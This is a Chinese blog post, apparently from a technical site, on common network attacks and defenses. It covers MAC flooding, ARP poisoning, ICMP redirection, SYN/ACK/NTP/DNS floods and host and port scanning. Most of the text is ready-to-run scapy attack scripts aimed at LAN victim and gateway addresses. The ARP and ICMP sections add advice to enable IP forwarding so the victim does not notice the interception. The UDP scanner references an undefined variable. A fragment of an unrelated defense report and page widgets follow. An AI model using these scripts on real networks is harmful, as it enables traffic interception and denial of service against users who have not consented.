常见的网络攻击攻防方法

常见的网络攻击,按照osi七层协议,可以分为:
1,物理层 线路侦听
2,数据链路层 mac_flood
3,网络层 arp_poison,icmp_redirection
4,传输层 tcp_flood(包含ack_flood和syn_flood),udp_flood(ntp,dns)
7,应用层 connection_flood,http_get等等,

按照攻击目的,可以分为:
中间人攻击(为了获得网络数据):mac_flood,arp_poison,icmp_redirection
拒绝服务攻击:tcp_flood,udp_flood,connection_flood,http_get

按照攻击者的位置,可以分为:
攻击者必须与攻击目标处于同一网段:mac_flood,arp_poison,icmp_redirection,线路侦听
不必处于同一网段:其他

=======================mac_flood===================================
原理:
mac地址泛洪,通过发送大量的随机源mac地址帧,攻击交换机的mac地址表,使换机的mac地址表填满,并拒绝增加新的合法mac地址条目。一旦网段里主机的mac地址无法增加进交换机的mac地址表,该主机的帧将被广播,攻击者将会收到该主机的网络信息。

表现:
突然的,网段中所有主机将会收到大量广播帧。

解决方法:
在交换机上做配置,限制每个端口匹配mac地址的总数。

攻击代码:

from scapy.all import *
import time

class Mac_flood:
    def __init__(self,times):
        self.times = times
        self.frame = Ether(dst=RandMAC('*:*:*:*:*:*'),src=RandMAC('*:*:*:*:*:*'))/IP(src=RandIP('*.*.*.*'),dst=RandIP('*.*.*.*'))

    def flood(self):
        for i in xrange(99999):
            t1 = time.time()
            sendp(self.frame,loop=1,count=self.times)
            t2 = time.time()
            print 'it takes',t2-t1,'seconds to send',self.times,'frames...'


if __name__ =='__main__':
    mac_flood = Mac_flood(10000)
    mac_flood.flood()

==========================arp_poison===========================
原理:
利用arp协议的漏洞,攻击目标主机或网的arp列表,截取目标主机或网管的流量。攻击目标一般是对目标主机和网关同时进行。

表现:
网段中有ip地址突然改变mac地址。

解决方法:
主机使用静态的arp列表,对网关进行绑定。有条件的话,网管也要使用静态德arp列表,对主机绑定。

攻击代码:
tool.py

import os
import time

class Tool:
    def __init__(self):
        pass

    def enable_routing(self):
        os.system('sysctl net.ipv4.ip_forward=1')
        print 'start to route.'

    def disable_routing(self):
        os.system('sysctl net.ipv4.ip_forward=0')
        print 'routing finished.'

    def set_mac(self,iface,mac):
        os.system('ifconfig '+iface+' down')
        time.sleep(1)
        os.system('ifconfig '+iface+' hw ether '+mac)
        time.sleep(1)
        os.system('ifconfig '+iface+' up')
        time.sleep(1)
        print 'set_mac,mac is',mac

    def reset_mac(self):
        os.system('ifconfig enp3s0 down')
        time.sleep(1)
        os.system('ifconfig enp3s0 hw ether '+'34:64:a9:12:60:73')
        time.sleep(1)
        os.system('ifconfig enp3s0 up')
        time.sleep(1)
        print 'reset_mac,mac is :34:64:a9:12:60:73'

    def set_promisc(self,iface):
        os.system('ifconfig '+iface+' promisc')
        print 'set promisc'

    def set_non_promisc(self,iface):
        os.system('ifconfig '+iface+' -promisc')
        print 'set non_promisc'

if __name__=='__main__':
    tool=Tool()
    tool.enable_routing()
    #tool.set_mac('enp3s0','00:11:22:22:22:22')
    #tool.reset_mac()
    #tool.set_non_promisc('enp3s0')

先打开本机的路由功能,使得截取的流量依然能够到达目标主机,以免目标主机察觉。

arp_poison.py

from scapy.all import *
import time
import os


class Arp_poison:
    def __init__(self,gateway_ip,victim_ip,iface):
        self.gateway_ip = gateway_ip
        self.victim_ip = victim_ip
        self.iface = iface

    def poison(self):
        #get mac from gateway and victim
        answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
        if answer_gateway is None:
            print 'there is no answer comes from gateway!'
            return -1;
        answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
        if answer_victim is None:
            print 'there is no answer comes from victim!'
            return -1;
        self.gateway_mac = answer_gateway.hwsrc
        self.victim_mac = answer_victim.hwsrc
        self.local_mac = answer_victim.dst

        #print mac info
        print 'gateway_mac is :',self.gateway_mac
        print "victim_mac is :",self.victim_mac
        print 'local_mac is :',self.local_mac

        #forge arp packet 
        to_gateway = Ether(src='00:00:00:00:00:00',dst=self.gateway_mac)\
            /ARP(op=2,hwsrc=self.local_mac,psrc=self.victim_ip,\
            hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

        to_victim = Ether(src='00:00:00:00:00:00',dst=self.victim_mac)\
            /ARP(op=2,hwsrc=self.local_mac,psrc=self.gateway_ip,\
            hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

        #send it
        for i in xrange(99999):
            sendp([to_gateway,to_victim],iface=self.iface)
            time.sleep(0.5)


if __name__ == '__main__':
    arp_poison = Arp_poison('192.168.1.1','192.168.1.202','enp3s0')
    arp_poison.poison()

===============================icmp_redirect===================
原理:
攻击目标主机的路由表,使之定向到攻击者。

表现:
路由表发生改变,一般情况下是默认路由发生改变。

解决方法:
关闭icmp协议

攻击代码:

from scapy.all import *
import time


class Icmp_redirection:
    def __init__(self,victim_ip,gateway_ip,iface):
        self.victim_ip=victim_ip
        self.gateway_ip=gateway_ip
        self.iface=iface

    def redirect(self):
        #get victim_mac,gateway_mac
        answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
        if answer_victim is None:
            print 'there is no answer comes from victim.'

        answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
        if answer_gateway is None:
            print 'there is no answer comes from gateway!'

        self.gateway_mac = answer_gateway.hwsrc
        self.victim_mac = answer_victim.hwsrc
        self.local_mac = answer_victim.dst
        self.local_ip = answer_victim.pdst
        print 'gateway_mac is ',self.gateway_mac
        print 'victim_mac is ',self.victim_mac
        print 'local_mac is ',self.local_mac
        print 'local_ip is ',self.local_ip
        time.sleep(2)
        print 'start to redirect'
        time.sleep(0.5)

        #forge icmp data
        to_victim = Ether(src=self.gateway_mac,dst=self.victim_mac)\
            /IP(src=self.gateway_ip,dst=self.victim_ip)\
            /ICMP(type=5,code=1,gw=self.local_ip)\
            /IP(src=self.victim_ip,dst='0.0.0.0')
        to_victim.show()

        #send it
        sendp(to_victim,loop=1,count=99999,inter=0.5)


    def cancel_redirect(self):
        pass


if __name__ == '__main__':
    ir=Icmp_redirection('192.168.1.202','192.168.1.1','enp3s0')
    ir.redirect()


攻击前,要记得打开路由功能,以免目标主机察觉。

===================================================================
以上三种攻击,均为中间人攻击,要求攻击者与被攻击者在同一网段,能够窃取目标主机的流量信息,危害严重。下面的攻击均为拒绝服务攻击,不要求在同一网段,不能够窃取目标主机的流量信息,以攻击目标主机,使之无法正常工作为目标,危害相对较小。

==================================================================

=================================syn_flood========================
原理:
tcp连接的三次握手过程中,例如a想与b建立tcp连接,三次握手分别是:1,a发送syn给b。2,b发送syn和ack给a。3,a发送ack给b。
对于b,每当收到来自a的syn,b都要分配一段内存,存放ip地址,端口号,序列号,时间戳等信息。如果a发送大量的syn请求,b就会不断的分配内存,结果会是:1,b的内存耗尽,无法相应服务请求,或是2,队列被填满,无法响应新来的合法的请求。无论是那种情况,结果都是拒绝服务。

表现:
服务器收到大量syn请求,并且该请求均无下文。

解决方法:
解决方法大体可以分为三类:
1,根据syn请求包的逻辑来判断syn请求是否合法,例如syn重传
2,修改主机操作系统相关参数,提高操作系统对syn_flood的防御能力,例如缩短syn_timeout时间,减小重发次数,增加队列容量
3,syn_cookie和syn_proxy
syn_cookie将需要储存在内存中的信息,通过一个hash函数,计算出一个cookie值,作为序列号,发送给对方,在收到syn后并不立即分配内存,而是等到收到ack,并验证后在分配内存,一定程度上解决了syn_flood攻击的问题(解决的问题是:收到syn不再立即分配内存了)。但是,使用syn_cookie,提高了cpu的计算压力(在于收到syn要计算cookie值,收到ack后要验证),实质上是一种用cpu计算资源换取内存空间的方案。并且,使得主机对于ack_flood攻击更加敏感。

syn_proxy是一种,将对于主机的tcp_flood攻击转嫁到syn_proxy上的方案。

攻击代码:

===============================ack_flood========================
原理:
主机在收到ack后,会查询队列种是否存在相应的syn,如果没有,则直接丢弃ack。因此ack_flood本来是一种较弱的网络攻击。但是,当主机打开了syn_cookie后,主机要处理的事情就变得复杂了,要通过复杂的计算,验证ack的合法性。因此,ack_flood主要攻击使用了syn_cookie的主机,使之cpu计算资源耗尽,拒绝服务。

表现:
同syn_flood,只不过ack标志为1,syn标志为0

解决方法:
参考syn_flood

=============================ntp_flood==========================
原理:
ntp_flood是一种反射型udp攻击,有两个特点:1,攻击者不直接攻击目标主机,而是构造包,将流量发给提供ntp(network time protocol)服务的主机。2,通过了ntp主机后,流量会被放大,造成目标主机网络拥堵。

表现:
主机收到大量的ntp流量

解决方法:
1,找运营商清洗流量
2,找到攻击者本人解决

==============================dns_flood=========================
原理:
发送大量的dns查询报文,使得dns服务器资源耗尽。

表现:

解决方法:

============================ip扫描和端口扫描=====================
ip扫描,扫描网段内开启的主机

from scapy.all import *
import time


class Ip_scan:
    def __init__(self):
        pass

    def scan(self,ip_set):
        arp_packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_set)
        ans,uans = srp(arp_packet,timeout=3)
        alive_ip_list=[]
        for (send,receive) in ans:
            alive_ip_list.append(receive.getlayer('ARP').psrc)
        alive_ip_list.sort()
        for i in alive_ip_list:
            print "alive host :",i

if __name__ == '__main__':
    ip_scan = Ip_scan()
    ip_scan.scan('192.168.1.1/24')

扫描tcp端口
原理是:发送ack给目标主机的端口,如果无返回,则说明该端口被过滤,如果返回icmp不可达,说吗端口关闭,如果返回syn+ack,则说明端口是开放的。

from scapy.all import *
import time



class Tcp_scan:
    def __init__(self):
        pass

    def scan(self,ip_addr,port_set):
        filtered_port_list=[]
        opened_port_list=[]
        closed_port_list=[]
        tcp_segment = IP(dst=ip_addr)/TCP(dport=port_set,flags='S')
        print 'start to scan ',ip_addr
        ans,uans = sr(tcp_segment,timeout=3)
        for i in uans:
            filtered_port_list.append(i.getlayer('TCP').dport)

        for (send,receive) in ans:
            if receive.haslayer('ICMP'):
                if receive.getlayer('ICMP').type == 3 and\
                    receive.getlayer('ICMP').code == 3:
                    closed_port_list.append(send.getlayer('TCP').dport)
                else:
                    print 'get a ??? icmp answer,type is :'\
                    ,receive.getlayer('ICMP').type,'and code is:'\
                    ,receive.getlayer('ICMP').code,'...'

            elif receive.haslayer('TCP'):
                flags = receive.getlayer('TCP').flags
                if flags == 18:
                    opened_port_list.append(receive.getlayer('TCP').sport)
                else:
                    closed_port_list.append(receive.getlayer('TCP').sport)

        filtered_port_list.sort()
        closed_port_list.sort()
        opened_port_list.sort()

        print 'open port is :',opened_port_list
        print '###############################'
        print 'closed port is :',closed_port_list
        print '###############################'
        print 'filtered_port_list is :',filtered_port_list




if __name__ == '__main__':
    tcp_scan = Tcp_scan()
    tcp_scan.scan('192.168.1.202',(1,1025))

扫描udp端口
原理是:发送udp数据,如果返回udp,说明端口是开放的。如果返回icmp不可达,说明端口关闭。如果返回icmp,type为3,code为1,2,9,10,13,说明端口被过滤了。如果无回应,则有可能是过滤或者关闭。

from scapy.all import *
import time


class Udp_scan:
    def __init__(self):
        pass

    def scan(self,ip_addr,port_set):
        udp_datagram = IP(dst=ip_addr)/UDP(sport=3000,dport=port_set)
        print 'scan host',ip_addr,'......'
        ans,uans = sr(udp_datagram,timeout=3)
        open_port_list = []
        closed_port_list = []
        filtered_port_list = []

        for (send,receive) in ans:
            if receive.haslayer('UDP'):
                open_port_list.append(i[1].getlayer('UDP').sport)

            if receive.haslayer('ICMP'):

                if (receive.getlayer('ICMP').type==3) and \
                    (receive.getlayer('ICMP').code==3):

                    closed_port_list.append(send.getlayer('UDP').dport)

                if (receive.getlayer('ICMP').type==3) and \
                    receive.getlayer('ICMP').code in [1,2,9,10,13]:

                    filtered_port_list.append(send.getlayer('UDP').dport)

        print 'open port :',open_port_list
        print '#######################'
        print 'closed port :',closed_port_list
        print '#######################'
        print 'filtered port :',filtered_port_list
        print '######################'
        print 'other port may be in filtered or opened state!!!!!!!!!!'


if __name__ == '__main__':
    udp_scan=Udp_scan()
    udp_scan.scan('192.168.1.202',(1,1024))
  • 27
    点赞
  • 151
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
网络安全防护技战法报告 一、防守技战法概述 为了顺利完成本次护网行动任务,切实加强网络安全防护能力,XXXX设立HW2019领导组和工作组,工作组下设技术组和协调组。护网工作组由各部门及各二级单位信息化负责人组成,由股份公司副总裁担任护网工作组的组长。 为提高护网工作组人员的安全防护能力,对不同重要系统进行分等级安全防护,从互联网至目标系统,依次设置如下三道安全防线: 第一道防线:集团总部互联网边界防护、二级单位企业互联网边界防护。 第二道防线:广域网边界防护、DMZ区边界防护。 第三道防线:目标系统安全域边界防护、VPN。 根据三道防线现状,梳理出主要防护内容,包括但不限于:梳理对外发布的互联网应用系统,设备和安全措施,明确相关责任人,梳理网络结构,重要的或需要重点保护的信息系统、应用系统与各服务器之间的拓扑结构,网络安全设备及网络防护情况, SSLVPN和IPSECVPN接入情况。集团广域网、集团专线边界,加强各单位集团广域网、集团专线边界防护措施,无线网边界,加强对无线WIFI、蓝牙等无线通信方式的管控,关闭不具备安全条件及不必要开启的无线功能。 结合信息化资产梳理结果,攻防演习行动安全保障小组对集团信息化资产及重点下属单位的网络安全状况进行安全风险评估和排查,确认薄弱环节以便进行整改加固。 二、 防守技战法详情 2.1 第一道防线--互联网边界及二级单位防护技战法 2.1.1 安全感知防御、检测及响应 构建从"云端、边界、端点"+"安全感知"的防御机制。相关防护思路如下: 防御能力:是指一系列策略集、产品和服务可以用于防御攻击。这个方面的关键目标是通过减少被攻击面来提升攻击门槛,并在受影响前拦截攻击动作。 网络安全防护技战法报告全文共9页,当前为第1页。检测能力:用于发现那些逃过防御网络的攻击,该方面的关键目标是降低威胁造成的"停摆时间"以及其他潜在的损失。检测能力非常关键,因为企业应该假设自己已处在被攻击状态中。 网络安全防护技战法报告全文共9页,当前为第1页。 响应能力:系统一旦检测到入侵,响应系统就开始工作,进行事 处理。响应包括紧急响应和恢复处理,恢复处理又包括系统恢复和信息恢复。 2.1.2 安全可视及治理 l 全网安全可视 结合边界防护、安全检测、内网检测、管理中心、可视化平台,基于行为和关联分析技术,对全网的流量实现全网应用可视化,业务可视化,攻击与可疑流量可视化,解决安全黑洞与安全洼地的问题。 l 动态感知 采用大数据、人工智能技术安全,建立了安全态势感知平台,为所有业务场景提供云端的威胁感知能力。通过对边界网络流量的全流量的感知和分析,来发现边界威胁。通过潜伏威胁探针、安全边界设备、上网行为感系统,对服务器或终端上面的文件、数据与通信进行安全监控,利用大数据技术感知数据来发现主动发现威胁。 2.1.3 互联网及二级单位的区域隔离 在互联网出口,部署入侵防御IPS、上网行为管理,提供网络边界隔离、访问控制、入侵防护、僵尸网络防护、木马防护、病毒防护等。 在广域网接入区边界透明模式部署入侵防御系统,针对专线接入流量进行控制和过滤。 办公网区应部署终端检测和响应/恶意代码防护软件,开启病毒防护功能、文件监测,并及时更新安全规则库,保持最新状态。 服务器区部署防火墙和WEB应用防火墙,对数据中心威胁进行防护;汇聚交换机处旁路模式部署全流量探针,对流量进行监测并同步至态势感知平台;部署数据库审计系统,进行数据库安全审计。 在运维管理区,部署堡垒机、日志审计、漏洞扫描设备,实现单位的集中运维审计、日志审计和集中漏洞检查功能。 2.1.3.1 互联网出口处安全加固 网络安全防护技战法报告全文共9页,当前为第2页。互联网出口处双机部署了因特网防火墙以及下一代防火墙进行出口处的防护,在攻防演练期间,出口处防火墙通过对各类用户权限的区分,不同访问需求,可以进行精确的访问控制。通过对终端用户、分支机构不同的权限划分保障网络受控有序的运行。 网络安全防护技战法报告全文共9页,当前为第2页。 对能够通过互联网访问内网的网络对象IP地址进行严格管控,将网段内访问IP地址段进行细化,尽量落实到个人静态IP。 开启精细化应用控制策略,设置多条应用控制策略,指定用户才可以访问目标业务系统应用,防止出现因为粗放控制策略带来的互联网访问风险。 对所有通过联网接入的用户IP或IP地址段开启全面安全防护策略,开启防病毒、防僵尸网络、防篡改等防护功能。 通过对全网进行访问控制、明确权限划分可以避免越权访问、非法访问等情况发生,减少安全事件发生概率。 护网行动开始之前,将防火墙所有安全规则库更新到最新,能够匹配近期发生的绝大部分已知威胁,并通过SAVE引擎对未知威胁进行有效防护。 攻防演练期间,通过互联网访问的用户需要进行严格的认证策略和上网策略

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值